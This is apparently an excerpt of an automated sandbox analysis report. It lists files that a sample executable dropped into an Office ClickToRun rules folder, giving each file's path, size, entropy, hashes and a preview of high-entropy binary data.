Preview:	.<?.=.i.....0....T....W..%..%S....y.....<y..3S..S.]...SK..R-=r-.Tj...x..D.h.....J0..,>.`..o.D.......u..j.g.E@...l<..U..4J...r.g..Y..x...e...TH....._y=..v..T.o2.s.3...U...&^.1G....;...].a"T.xnE.KZ..]..2.y...._.../.L.OBO{....W...K.T...E..=.2..d..~. .r .HH.q?..[.Q.!{V.i.T...8n.:...k7e.hI....)..=s...t.Q.....+.W.....]./..^S..J..<_....u...X.0.kY...Q2..x_...i'....V@8pB..c...&.D..M...............Qc.).~..t.@....).Wr.....{....b#x5...._\...H.........L7........8..#."G..z.!".a....P.}..........u..s..<8.W\./\u...5......uw....D......}6..]...........D...or"G.....O.YT...._M$..A..S....\..D..-.....+.!8.w..x.A...n.dh....nV..q..tb....:..e..SUE..~...dz1.....)..s....>....vU.\.,....r.u&(.=..4:.@..e_......<...i."...$.P0o..RQ.,._.R....Fx.:1......jJV.e.?...x.g.k..H.!...[5...t.G.W..!.....\|...3......\|.V..=(bi.T...]]U.l..r..vI.nr_....e.@.BB......)....u[..4.U.d.Z.d=y..o.IL..C(Os......q.T.w.".:....A...."_g....0/...y...._.K.o5,..l.W.+sDL......6.*sD4q..J....v..B.:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.879621088417623
Encrypted:	false
SSDEEP:	48:O/5GopKwaFmyTr0Piym+goAfDByKyE4yQ87XBbsonCiD:ehpjaFTryiZPyE4yv2onV
MD5:	D87311AA78488521D72506ACD4B81F51
SHA1:	5163F5BE5A1CC3406FB2134C5640AFBD05A9270B
SHA-256:	2C3543A95D7B875CF53E8317D6515CE73E687F7CC88A5766D46537E42F1CCEA1
SHA-512:	34D7B32EE2E19226D4D75835A0B2B3A0DC2F42DAAF785F27D5EF2BC33B3405875CE4F1B40BE16C5569EF354FD7D8DA8BB84184DBEBD69AB6CAE83D2BF1A19785
Malicious:	false
Preview:	.<?Q.4..Z....p2.>. ..C.......&.../?h....yn...7.k.!O..h..co.x.X3.tP......."......]...+(.J.k.@Y.....5Z..w....[50{......"7[.;..".=o....T.........M..sR....6.a....t@w.H....1....%...`Q<6aN<jU,..v.}>.`..>."7...M..>g..8.=.E,bX.D.f..x.w..5......5-.76...W..V........3.5...v..J7`..7..iQ....z.G..Q;.....>...%4.?F.......CT.b.&.a..p..p..`.N...X+Qc.:....hX.E.`.3o?O.....~..\.c......PV?....u^. ....c?W.s......u.mC.!.TW/:....S....UT...^..."....?T....U...w.RCMrY0-..i._....4....5:h{..#.Va.W..K..iO...4.W@)P."..J.l.Lv....x.B/>..R........{..;.K....=b..+k.v]..sc..,TO !`E`.W.K.c...p.... Bmq6^+..o.R.B&...7...o4..=l.NG3!..0v.1.M{{.......0W...f...-..?q)}bx..&..Y.#.G.?.B.%..._...l.@8......!,..+..s..H..M.H.>........5...P..& V!Jg{...$..R...y/.hEZ..O....Y.g!..J_F......K.m..-...0~......FUfx10?>9...).L.@.?e.[.r.!V]..S.c.]...C.M.g......._...$...V.....B...\...3Z..B.w..X.z(j.{?.".0...%...].....].:...f..ot..C.a...U.#.j$.]..........$..3..f&.<.).....q%..7..~...@..i_.p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.871461259715276
Encrypted:	false
SSDEEP:	24:rNkDvGE5bQrZ3FYrJzn+AX8zTw9TBMYPWpl6dFBmVEUvt7hkQwfdZV00ybR0iTkX:ry3EBCrJbD8HonWpl6YuAWTmVtiD
MD5:	4943790AF3D5CFAB93DCB7D6F6E32E2E
SHA1:	C835AA7E62C8360CFE5F0401748DBD0AEE578CCD
SHA-256:	B4124F7B57429AC83EAABA1042EE5D1C508A360CE60F7BC7598E07CB6FBBA540
SHA-512:	ED934D0A7569CA318B79CE89B86E600FE3DA5A4BC7CB2C0C45CB36A6ADD40DD490ACEE2E6E192C9B85787BD0EBF48EA5FA8CBDD95B85C31A7DEFBA0322CFB742
Malicious:	false
Preview:	.<?.#.b.........vr.....u.$%.8.>..D..0Q..5...Q86...OhL\.#...7....B.....9...nu.<..[.....O#+....=.....N%Ql.j....%....i.w....t.0.......?......m.0z)Z.J..V.y..6...H...4\|c....CPd..n4...k.......0......l.q._.G9....p.^.....?\..:.I.;..u~I..S.f......=..9.....Y..f.....g`V..s..BY....w.V..l;...3 .....?.3z[..X.._t.4;(...b.V.E...PQ..wR.>C". .N.......p.U.....".#B..y.iHQ.T.H.a..#.\v.[..R.7&:4...Vb......,X....Ja.3}.s!vBg./.-..!q..G.`....>.V..j.Lp.f...La.7,,V.....4....BdN....."...C....O..Dy.e.T...G..<:.3......G..d......e....".;O....f......^...Q_..?......82..Z9.9.F1@.#...y.?....^J.>.......G=.Z...1....Vf.K.Yc.....f.Y.~.G..?q"k.......w...o...<]W.It....x..X.c-.T..gU.B.[..9...r.....4..x.._..q...2T&.U.K.<.f.....RyYc..C.a-.^....R..KJ6.xc..D....x37..'.6.M.dc..c./vm.......t........w$,IF?X...:>...47.....! P\.z=...D.q.u...Y.d.y..^^g...A..@>.".EZ.4..q. ..%c.../8JL.3.I#v..(...O..Z..p....u...hu.b>...."W;.4=G[..\.v.)........fF...(......z!..oD...H...<.L....Y.R;rh.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.876714547436404
Encrypted:	false
SSDEEP:	48:GVJXhqhLneii2nPEVRXUUk7AtJT+4dfKnicS2YliD:yXhqhqr7XU2d+4dAS2L
MD5:	6111E6A4CF85FF7C24021211D9E90740
SHA1:	E0AE44B32F94458CBE0874C63428F59F0453DC1E
SHA-256:	BEF193874645658AE7F6899E27E9DCBD60450E8D8C645D221A8180FD36C9C5E3
SHA-512:	31E0D8313AB5ABBB0465C195EFD5FC4D8022C23D88C17E531C1FE98C5B992402495FFC5E2EE55DD1D7945B68FC9DBC37C8EB45811E87331E47A27589C01FF7F7
Malicious:	false
Preview:	.<?_Xh.0.p.p)p.\|...s....X.-y6u.../OB...M..u..8...aw.RoI...HX...N..}.2..$..s2`.D.........d.!.RR.I....)..L...A.z]...F.;.........T...c.C...YAR..G.....a.G.....HS.....g3Y5.....X........)A.-...Z..D..[..j...).4..E,t.~..ozd...........<>..g.E..t...$.aT,'.zl.k...Y..Gi..(d...8.......VP.....B.x....[.....3.i9.qH...+..zS.>.y.o..G)>w.(.k....... 9.........!?..o...p..H.6y./.B.X.g6..F._9...$..ll..G.:.F.!U~...ld-...8Y\|.8,G..k..w../8..\|2.......p.s...S.....KIX.-......sW.....#......`.{..1..K...3..eo.5I..X..:..\|..?..-J..A.X.$...f..c..).O.D.,..c.z#.&n1P.W.2...R7TC..&!l.?..K.I(.=5.....oQmp...Q..cq...<..I..u..WX...........{...w.t.M.kK..ox.....:.....y.H....{....%.L..F....H+.4.US..C>0..T.4).E.x..t0....$..LJ--.....2.6.G..e".4...^&<....g@...7.I...%.....I...>KD.@...4.+.r..\.y@......7)....?%.`F.6..........M.."....n.8..bg..-.*...Y:.zZq:t.n...+......+...'........aP..A..tZl..Cx..k.'o0.K..U....<.5.E....Fpaiy..F...(.DH....+....V.zA6.N..<C........u4r....GP....u(.e6)h....$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.885057626199301
Encrypted:	false
SSDEEP:	48:UHYYtTPEmjbEMyPEj2QoHQC2MJsNO84AciD:j0HE7EaQot2MJsNOer
MD5:	FC6A85BD76E511BF8D424FA62666600D
SHA1:	DCE449059C11923EA6C7E8ED130C556195D2D126
SHA-256:	A02A5D0209FDF4EEFA70A56E604595D2403ABC43D0E72B89FF2B050C20E70B98
SHA-512:	7F5B21DE1D67078B5EDF42B3B0E346C4777FBF81AF92AB28D55EF17F9FD3DF2D5F4A8321E8450448AC82A07528825435D5C2D25E2BF7D3D8A1304D937C9095FA
Malicious:	false
Preview:	.<?..x.\|.T....f.fG..z.^..Y{.6....;.D.'..P..e...d.-.t....q...p#..4...Q.9.....QfCz..*`...Dli.....J..}....q.L7...p..m...I....BEBZi4............%........V0.D.I..[..l...Y.>X.-..2."..P.s.@.,.N.....y..sM[9g%.o...p.fX..x.._.&...sx.e..1k...>.#....7..^.w.y..]...$Jb....']..u...]hz+>..V{c..p...M...-..s...\|Td..;.. ~.l..}BF..1.(..SI.s...@....z-.._HP@......y.....0....S..O..]D.....X'\|.^,7.4. ..5,...j....-...M 'F.U.......>.o.i_....G...2..#.?.EMG8.=!.....'o.F7.J...:...Z..}L....B..:..V^M8u...!.R..dT......\..m.p.C.=.y(.H.,iY..6.J.j.Y.G.4R.{]..2..^...c.....w.....H....l.....p'\]?....#UU.......}Rb...0..............3t.l.TS...Dz.1..lv...7..........6..D..^...S.)..Kw...QTstSQ,@.....y.".".WK.a.6._.\?Y...v..-..:)zN..e.zK5f.!.....`..1....s..E..YQ....#......^...y..9w.....=.I.^.........(..zNn...%.B.:.S.....7.(%....O...1....@=Um.&..J2C..wv--......M.Mb<..G.^.u.1..v......:2T.e#..w...P[...M.) .HL.......!J&w.4....dU...V.......x...'..JM.=.8...M...j[Q.$.....E8..zI{.^[).`.,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8914446766902415
Encrypted:	false
SSDEEP:	48:uWZCbWhuSyCO7ZKoljpOuCjMM3zG0qGR7lwdFBgdJiD:uqCbvSMIjMIzG0qGR7l08Y
MD5:	B803628329D97A8679D904CE6DE38E57
SHA1:	2E7B29A2066CA0B4905A15B8E8D6240D88BDA196
SHA-256:	F3998B82B7CE34C7861DA75C99F2A9812577372A92A15093FD274162C97070D6
SHA-512:	16EF0A06424AED4FFC3C67780BF2DE57A3E9B198F2FDA859074C418AB7A6E5F50E1E223E94EBC561AD6921BFDBBBE7720C6F72CDF471E2D05424D69B6054FE9B
Malicious:	false
Preview:	.<?rc..."9.Orc..A{.........;..k__..7J/......:.h.M~>.....0_.@^...#...3B..H}....r...&.......`...v.'.v....a2.....#......8GS....].m..q.c..[..$.V......5......wky...$v....m...tH....=".....D.684u3.....>7.{R.?f...b....(.oi..tpn..K......[.F.....g0..e..f...E..k...9..4.'.,Ru..`j.!. .a..I.X....\|..\..^.......3`.C.5...`=.\P..B..C.(0....\|........^V....'..-!.z\|.2:..!~%1.:nj......ee[FTU..[(....H...SQ..i...H)....y.'/0[fi.....u.......X....Z...[.k.>k. .A......l...4...-........_.@.Y....l.....+a. .K.>.8j..$.5p......F..%...Dvr..+......j..0+.........7~+.w.gA.f[A..#....%M.r..@.3..RG..+W..b....=...F.y\|.V.o..~............E...8.I.\|...r....j..l.....>JN?A..........G.=vbH<..j...N....t....S1.R...W....O..F>M.W..9.L.&......+..'...x.m...\....9$...5&.\...c......y?O.$..5.1.........i.:D,.<...[.8gl...f..m.....?.3....4...q...-.^.y...@.....1`L\|.}LY\p"S.NO....[`......6w.[z.b.\|~Hy.S.h_...8g....\.7...@..d..J.+_..5..{u.....{.. H.X!..?}.U....^.(.M..2..!Kh._l..#.V..V.[6.A.....b..E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.912477305697965
Encrypted:	false
SSDEEP:	48:4qYAOL+Ve/RXFiMRh0RzwyiKz/jYxJH9qsiD:4HFpXFiMRmRzwHKzbkq7
MD5:	526F0EE48FDA24D21F37FCFCAE64E8FD
SHA1:	1A43B3AF55A469CDD769B8B78E17A20AECF76FC4
SHA-256:	B34D95EB27711545E3B03E8695128F42E3698E10B44BACCA8F9613B589450D66
SHA-512:	7608D067E55DA16C3D6DE4B3EA8D939AE8635E28911943E58DC90917758CB0569F9A11F2BF9D13AA017B842D251F191295E486DCDF12954F2DC95E0DA9B185DB
Malicious:	false
Preview:	.<?........R.>.6.....N.t.P"Zd.V......z+....p.......lg.}....LO...1_TK^...I.;.vK=.&..q......gR...iX..........J'r.9_.....P..'.\|y2...> ..)FY.6X...I..!.$`.\|'.. ..).....i.Z.\|.A...C._j.N&.D..u.4G..U.rk.F..f..xy...A.n..S.cnJ.<$.+Hp......\..D../u.....Z..d.(.s..].. )hT.`...U.=...0.}..5....t.tP.....t.Of-aD..C.F....!./....y.V.P..v..:........%".(....,.....!....t.ct$.....6.G.....:w.N.../.}P ....Lv........V^T.....<x\2@.e#..4....3.-J.\sz.........Ch.as....R.....U...d.%..uZF.....q2...(...\.^...o}.h.:q....h.t.>#".E[5.:...-..>..Ms.2..D ...2..z.%..JPX..US..K..\f....I>..D...r..l.Nu_..\|...wV............Rk...G..jRH.<s.....gJ...,.Wa...G.}.........(..g......B..N.A.Q.....O.eYp.b.+wN4..h"E...{..!I.Aom........&..T.QH...HU.......^X.H.oi.G...j{....".....z..m..{.T.U...T.....n.&B.g .;...nC.-..r.J.c.~.".l...V...A.<.}=........K.}....r.......v...S.].D.....+.Mc+.\|U...._{t.oJ<...s."..e*.{.W...M..Y..P..x.)..m>.7.5.T.......FR.\+cW\..;..vWp?..W..^W.....F...B..}....\|;.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	7.884867545181185
Encrypted:	false
SSDEEP:	48:EOoJBETWDGCUu4GFxIivRR6MnUCeVfbei2aurpzri2iD:SJGWD6YHRoMn1eBeiWV2p
MD5:	48F472F7212745BA8377F41811479CAE
SHA1:	4E1CF3A7EF88B4E7DF50E76C74E0C5FA194FC109
SHA-256:	BB177D75C860F8F3EFF09C09120CDE0604F07DC88A9A17B1705AB4A8FB514A6A
SHA-512:	5F0E9FB916867A15467B2A8357EBC76AD5C54448FD4138779AF52AAD6F7BA997B54F7DE03D441DDD0DC41598C2E03BC8F2D8E50FB2B0D2417753C28D93B2DF9D
Malicious:	false
Preview:	.<?...w..ak.@.T._.$..!L...&..n.-.7..OI.e.g..Tz..y7J.....K......ckG..S......E.... jXU.444..p...{.x]..l.6.et..X...`.J..@8..!.....N.e;.(..t8H....).<..T...s..^....t..8...wb[......!..pzf.v....8..m...6... ...'.?...ZyUR.d...B&9pb..].z....\|.n...g..(...A..Q.......}..k.<&......8?.i"...5..@<.4..-H.$.OavA...Zhpg`Z.......A........9.<.....S."..%......=...O.HM+..v!.Q.=IUBdq....".........E>z.f..3.M......Hl.^.....+..X.f....b%.>7=}@..2..P6...J.S....m...............v.z<o.h3..UM.......-.;..s...y_......9.6C....w..1.$.Crd...?,.(.ZX..4.....4.G...n...[..$...?.N..._.t.#..../.}...m.@i......._..I...<P@...'?.B-M"..>.0-.3.KC.Q...B.......b... .j9...Ju.>].;*.#9.@...}...Q..;.....B..l......%.Lp(;.?..F,.....{....\a.j....I..4!L..l<....}._.j=...i..y=7n\|.L.l.B.,.H.....^..V..3.E..n..G"0=..?. ....Q.....&)..H..Dpz......7(...gLCJ.Q......UL.?..1..q...A.O#......0.W.x8.P...C..(..._.....\|.w.#.q..LZk....eL.."......zo....0r....1M..W....N}0.x...L..E...\M........d..Q....n\!#Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.874614256172273
Encrypted:	false
SSDEEP:	48:e1n4yRf5dcH8dEicvEgNAgZtQaswKrniD:I4kLcHQLccgNLtVaq
MD5:	A6A60C452FB6B95E96E03C2A95CC939D
SHA1:	410E7A88742B3F64122776058FB3A6E9388786EF
SHA-256:	1963D3E38FCF5C7CD55A43FFFD8624B8511BA47266AD841F3BD40DF319DEA86A
SHA-512:	F8A63A24C8AE8970DE515BCD78B4DE7FF7173B765D324EB96B4A27FFECB3A9A4A86F6C26F3A9FCDCC9705BF83FB3D874178AFAA11BA798E0C071BAD883E6187E
Malicious:	false
Preview:	.<?..1m8.$.V..v.......s.>........Lq..o../.......3^i.x.Z.g.z...>\9....Y>!.U..%8....Y.....j}.P[#..t.l..3ma....Hr...I..A.AXH.....y...Dco#.$.0.:CF...J.@CY...((.V.X..QY....[..k...... .2.3....cQ...e.g...q......(.0h.;O+.1.1.....qs;3.......!..l.Yo.......D.E....#..j.E1..}+jC.9N.G.\........8... T..>.};.>.r...&.E...T7q[(."`..d...j..?.?....?.;..f0....8..L.....k....X-..Q..>...R..%...u.....>..+.....d........=....wr.+.m..........{&.r7........1...p.......92..5....pC.K....jM.RYL..{4.}v..W...g4.LX'.........x....H..)?F...[.o..V...FI.h.xGXH...U`J...D..[5.7...r'n....%U+7..uO....ap.Y..).gy..F.g..`........{!...{#E.4`.Cv-.. ...5....$.....<0..R...+b.]..n....8Y.nXNi.or&.....q.".e..1.%.Kx....7.$u. .... .;....,K.a/.=.(..a..u...7?.%.. 2U.y..G.n~-.Fjd.U....Z...c7DB..J......R...jBo%G5.#..F ..^..2..7.......3....+.b.X.".(..#'..w=..M~.K'a.4X.'......O>.(z.H..VD.WI..C$.11..R/....)LA..`I.....E7.%..M3.c...4...._..A..;......i...C...Y..S......?,...m....xMw...G=H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.887912428234581
Encrypted:	false
SSDEEP:	48:/CD9Nlw4tFnt3Znuex5H47E/kuSFruy80LFkV9Fw9Os7seiD:/kP0ePZhM1sV9v
MD5:	4D632A56010FA6D152B9CCFB64BF0537
SHA1:	08B30EB9A9F0AA5B58DB043FB64EC313E35296FD
SHA-256:	0E7439BBF700F3FFB0FBB1F0D3F685ECB046319F094D8BE542003942A4AF9FB3
SHA-512:	EF6219247ED7954427BC929AF7AD7329A63B26383289D0AE2367AB80ED7E3D822EF9DFF5F4187BD515553BC748CD076B56963DA1C594CD609AD18F73C60A02AA
Malicious:	false
Preview:	.<?...F85...v....~dzl....7.8.J."K~......h.q.&....V.pWMU.FB.`]..9mk.....UB.gx...V...H.'v..B...1@h....=.EM...Y]}..L.p.BQ...v:.).S.k.%,p.\h.y/>.o..#2q...).f...=.5`.XB.0...2...]4..{..+./..U.}'F^.'$p.y..........Q.t..H.Bl...c..qng@.5...6{.N..........U.....m...UL...kK.^.<..>fN...E./m&d/...<3.8.v.k... ..N..kS.....k...6.......3F^z..W....Sk.......".3.L.....o..B-C....d .F4....A..=..-(...ylH.....(.c.z.r3%5.sI.W.j..S.t..i.W.P.:.^V.q...#K-....K(6...^....N........7....{.....,...A<.+...l..Y..:...eeJ.....W..o....d.`..j..q...W....w.-`v..!_../Ch.J<S.......d.T...\|..DS i.?H.zn.Ea...........n.v..u.\.../..{i....Y..........\|..:..ou!BR..,..\.5....x2e.Kl...^2$Q..Zuv.H...v.-]X.r.. .-R.S......d2...m..dj..K.mRM..oq.....]o_..R%.......};.8.....9.p{....8I....%+.z;.=....PD&...}z.:..).OB?P.].t..8].......\|..$;.....A.M!....n.,.2O.J-.)Ap.ei.<..Q$..G.g.m.,...&...:..Z....4...J...-...TK.2..iJ..r...x.E.....i..y....o}.~...Q..{zhJ\|AA.s...6QG@.M..H....>./-+4...%.w>2!.f.@...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.885708082556206
Encrypted:	false
SSDEEP:	24:sTDMeLDorYJ103VY/yBza6Oee9t/ntKm1JGM8FkheODJ+H0+sfZfX/dsPcxsSG+g:ujz03VY/N6KVQmiMI2eON0JcfFsTgiD
MD5:	ED8979207CF2DF682E1F6DE226DF7A38
SHA1:	BB0E9A20ADEB5850F24512E2C93833A681FA1222
SHA-256:	3534043DCE4B02B12C3AF22E2039597DC03ADF6E102375EE68AF980661AC1220
SHA-512:	60DE55664C688E2B776C8BA8B75924D8719257688C26203F4DA8100E147B1B2071AB518242B62F5E35B95F715950639CC062835915BFB2231125DC6BBD7ED82D
Malicious:	false
Preview:	.<?..w.2.1h{..WJ9..o9.......P.i........].......n...k.}Lvq.V,o..Yk.X...Z.%;.x.....^s.!:.zp.b.@.J....F.@.9.Ob..r!.....]..2.....Y.D(\+....3....B.QV.GQL....,....M._x.\J........j...rX.-r..[..]T..Qqp.@..... .GO`G..'?c...CW..%......,$.9h...K..+.-..QhXZ.%+....(.:I^RI.-xk.......!bCo....~<.1...O..@^3.m.....)%.C..R.......O}..^K....Rv4\[....i....}..h..YD%..G..#+...l~.f.......q}......c&...?m^~...cy.W..Q.....v.Us5\|..q...B....L.q.....Dv..9....P....r...Icew.s...oBR.{...t.BL.......d..._R..x.L.C...(..i.0.....ot.....7"G......W~9G./f.4.g?.........K......<.Im...H....d..vy!.8.<Z9.;.......0<.....l.\|)rx......b............m......^I.j.........%/o...3Yo....nf...8....K.....%...L0V9....p!.....f....8c!c\..}...o..x.Z....fz8.X8..@bVI....<.{....9.}iX....=+....3>.?3.Q.&.7i......u...y7.`.t......Y...2,....Ac.v...mx.4F....S.tK........<...P...d*.+............iN..b1.....+..G?...i.....lt.xr.T.6.4P'.f.4....6..b.....@.%.V........G.;.....6..u2.A.75.K.{32...._2..9"...f%..BM....%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.888217483388315
Encrypted:	false
SSDEEP:	48:z576dNjqaPcGS3vIxadvKVrqqhH9P61rB+siD:zt6dNHUVwadvQrVHE1w
MD5:	A36AB62CCADDE517182206BD0DA8956A
SHA1:	CAB3FD3180F28476427538A0216E14B6DDC395F9
SHA-256:	FEE6AA1D8D23039E92E1366744D52DE64F3CA5B5198F9324D4F9D6FF2DFEB526
SHA-512:	93E236C369B4CCCA9BA81AF96144F0648B9AC79CC93B75F5424D9A51369B734F396ACED6892AB2EABAF2C9BEE1F8C5F07B2237A55554BA25A3074702B564B16A
Malicious:	false
Preview:	.<?..2.T..:d...dVF}...".7.d.L.6...\..jMFV.....$.T+b.h[Kb..)m..[..4..o)..@/"j.3......<[..5.l.b.}...W..o.8a..ab.;<tp..}A...C.....t..e.j....xr.^..0.M. ....Ys=.q..8....Do<.C.#.[=.........Z..z..=.$3b....2....o....b...._./....c..B'..6..]IB.s.P...C.-.MYG.T..Cg..J...,..U:.8.!O....h..#.nV........W.f.....3B..:j....,U.3.Kv...>oh..T._...e.......&E.m..vN.k+.....I.W...v..-.......T.OW.Xg.mN2..bO+..w......aU....!.6.....]T5N....fI...<.Syi./...._j..4..E..R....:.;.&..^[,#...g.&.8TE.._.(....ES....d[.l..}=.. Bo3........uk...S,."E.R$Y..M..9:..S].-.X..a.Oo.\|x.6. .ep.Q (..q.b...K...]..*..l....[..&...8.......gb...z..$.&Q....\|.^.....>...h`j.....!..xP.f.vk.}........A8...-.9......9fO......WdK...mF.'..5VW.b.....\|.....4.H.5e.O.s%. ..ElW.$k......6D..5G.._\|....h....l...4?N...._..N..~?......h...k..W-."./P..fx...'.`.K.b..D9[-@q...s. ....$.8..z.....c)..\|..v..M...Y...z..J..K..z.d..#.6.%..ZRZ.....7+..w6_Y@.!{1..... .".6......".k.\|P.....3.....,.....X.....$7.jR./.~..D......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.901597559806579
Encrypted:	false
SSDEEP:	48:tmdZO/Jev22Zo0v8fB+/yqoyHU8YMCpiblLogiD:tmdZzv2kvs0yiHDYPibpo/
MD5:	F80E970217923C50180DDA9C629DB24B
SHA1:	579C3E752A0D22780A94536CAE71F95C6175BFF9
SHA-256:	1B1AB77DDA96532AB128C445352F840AD22E83F6F99B97CE826D5224001E823E
SHA-512:	B4EA5A51D47F6909861AE2173F15AC08BE704241C3B21E023C929AF3109F8E1207AE874279D737AD250CDB685FB7246B8A7ACE104D2493850C53D5DE4F52409B
Malicious:	false
Preview:	.<?H.....L..I?.[....e.....?...Y.".....X.}Ds...fd.....J:.\|.?.......d.g...K.F.B...c.I..@...E..\|.B3.]....uR..3..\|c..........,z..S.....]...p/Zy.N0......[3.......%.....1Jw.[.qMZ.....F...xqD.n....!J..,.r...e.uN..$..7#..T'.$f?.....&.k..V..5..&.%b..L.a....L)...TF).....T..H.'$i...._I.'.H......?;..V..e......?..T:...........)...\|..G...RF....<..-..+v..w.....?.Bq..y..u..9..g..q.y.......J.v]..c. .IW..7 .Z.."....I*..^Iw...Y.kx..L.......'..N.q%..3.V...vi.>..q.G........1...]._.G......WW..&......,.j...he.....D..?.)W....._..no"..f.....K........Y..ir2.}.tH.-...w....n\.)uYw..2a.XL.&...@....0.q ...t-... .7k.<}..1..2.0}g..R%.$T+.\......&................&.R2.._..s...o..=.D..D)..k>8=;...cD..>.v...DR.C.`...up.0.e...TO.&..a.../...z.......S\.#.[uD.]p6...t.../.$..Z.......-.$..9....R.....n.0)9VT..;/Ooe.M.\.0.:.xy........J.x3.3y......1K"G>.+Z...\|........z...%.ijX..I...b+dk.......J.T6...Q.]..l(.kP.f.E........x.~h.&.S..""I..'!........mn.....<..PT..S.u..#.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.890830813786399
Encrypted:	false
SSDEEP:	48:NV93DGGZ7DDfO7T9+oAJiNxRN1Y2esKQxbGDKoYc7kiD:TBDGG9SWJCaTGG2oYQ
MD5:	A6D18D661F3E36C03C6E29E9F1623BE5
SHA1:	DCD9D57FD052913C7299B85E6357E4730945CDC5
SHA-256:	5D418D86BBD76F29C4AE0F86665458E11BF28BAB6BBB8EC9AF93595CC96C6F0E
SHA-512:	E78A6F5AA7060CC7601EAF3E4EE064BFCE2EFE955E0E040A86856DEEAAECFC858CC8FACFEC1C4A012B794EE435760C3FF850345E0F3A5740A7032A284F471344
Malicious:	false
Preview:	.<?.fzQ.$....C...'.UO..if^..q...sJK.>.s ..~...U.\|.0.$<A..Q.1..Ip.:t.....w".\Km........!8..FC.y"""..\|...t...}u..h7.+A.m..w.....'"...".G...u"eS.tLQ......C9w=...M.r.a...q.k[.b..8..F.P......\|.L.f\|.N.....%.J@@.^...\|=.2]f.V..$.bFj.<k{..o.".R...4...&..gy......m3Y ..Y[!..S.k.#Q._>....K..I...0+w. ...8.[...W.l..m1.{5.... ^....Y.-.........7...2..........G....c......&B.$.?.B?t=u......Z../..S.X.o<)..e..x~Se@c.........z.D.B...#..~..G....Tb........O....E.m.V..D6..\5........".WI.r.....n.......G<a.8.L3."........z.)./.`...N..........Y........E..v..7q.V`..0X'..w.y.vM$..n..,... ..........}{..RT.....n1.?.:.!....#...3.]....M..E.O".E.Rh=.:.......U..E.)!.W.":.r..,....N....m...q^.R....=..C....u.7,~O]...E.;i.N........k....c.^..{.}.7....1...M<>...4Yx/\.,......%.._..D.y.Y.....^..R......4..%.?...F.M.Ip'..w...2..J..U....#..b4.s...r._uU..T...Z. .;.{.u..n..m......~ .V....aa#.C.\.v=.....N...&z..ma......axx.pqc./.7....ow...X.s.(......^..1...A.V.............)r5.......ei..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.891607159339133
Encrypted:	false
SSDEEP:	48:P8b6zXvKEPK+T/2oxWePqfhFi9MKss7QwQBsOiD:P86KEPKmRDSfhtNTOR
MD5:	AA9B7907542B1A150FF1211E579A8424
SHA1:	BD288548E1E155335459DB232CB6CCA01EB84308
SHA-256:	AD582E6D58C04BF504BB40DC7FD83B404F3CD3FFDF293D66A2D28A04B8978D3A
SHA-512:	B63EB40BD18C3131D74B00A9432B220253211CCB9AD7417643B001149E2D20E63377CBEBE167C1E1D881B7E036DCB15EA60ED5A7531CAA66F3267C044C17229F
Malicious:	false
